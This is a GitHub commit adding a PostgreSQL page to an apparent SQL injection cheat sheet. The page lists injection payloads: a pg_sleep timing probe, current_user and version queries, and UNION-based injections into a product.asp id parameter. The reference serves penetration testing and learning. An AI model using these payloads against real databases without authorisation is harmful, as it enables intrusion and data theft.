Skip to content

Commit e9dbfce

Browse files
Add files via upload
1 parent 5b17b6f commit e9dbfce

1 file changed

Lines changed: 59 additions & 0 deletions

File tree

dbmsIdentification/postgresql.html

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
<h3 id="sql-injection-detection">DBMS Identification</h3>
2+
3+
<p class="pageDescription">{{site.data.injectionDescriptions.dbmsIdentification}}</p>
4+
<p><i>Note: The comment characters <code>&nbsp;--&nbsp;</code> are placed after the query to remove any commmands following our query, helping to prevent errors.</i></p>
5+
<table class="table table-striped table-hover">
6+
<thead>
7+
<tr>
8+
<th>Description</th>
9+
<th>Query</th>
10+
</tr>
11+
</thead>
12+
<tbody>
13+
<tr>
14+
<td>Sleep for 10 seconds</td>
15+
<td>'||pg_sleep(10)--</td>
16+
</tr>
17+
<tr>
18+
<td>Default variables</td>
19+
<td>SELECT current_user -- </td>
20+
<td>SELECT session_user -- </td>
21+
</tr>
22+
<tr>
23+
<td>String concatenation</td>
24+
<td>param='postg'||'resql' -- </td>
25+
</tr>
26+
<tr>
27+
<td>Functions</td>
28+
<td>version() -- </td>
29+
<td>SUBSTR() -- </td>
30+
<td>SUBSTRING() -- </td>
31+
</tr>
32+
</tbody>
33+
</table>
34+
35+
<h3 id="general-tips">General Tips</h3>
36+
37+
<p>Ending a query with a semicolon may cause an error (e.g. ' and 1=1;-- causes an error but ' and 1=1-- does not)</p>
38+
39+
<h3 id="sql-injection-types">Converting queries to injections</h3>
40+
41+
<p>Now that the injection has been identified, the rest of this guide will contain full queries. Use the methods below to insert those queries into your injection points. <code>SELECT current_user</code> will be the example query.</p>
42+
<table class="table table-striped table-hover">
43+
<thead>
44+
<tr>
45+
<th>Description</th>
46+
<th align="left">Query</th>
47+
</tr>
48+
</thead>
49+
<tbody>
50+
<tr>
51+
<td>Union</td>
52+
<td>product.asp?id=' UNION SELECT current_user -- </td>
53+
</tr>
54+
<tr>
55+
<td>Union null<br/><i>Note: If original query returns more than one column, add null to equal the number of columns</i></td>
56+
<td>product.asp?id=' UNION SELECT current_user,null -- <br></td>
57+
</tr>
58+
</tbody>
59+
</table>

0 commit comments

Comments
 (0)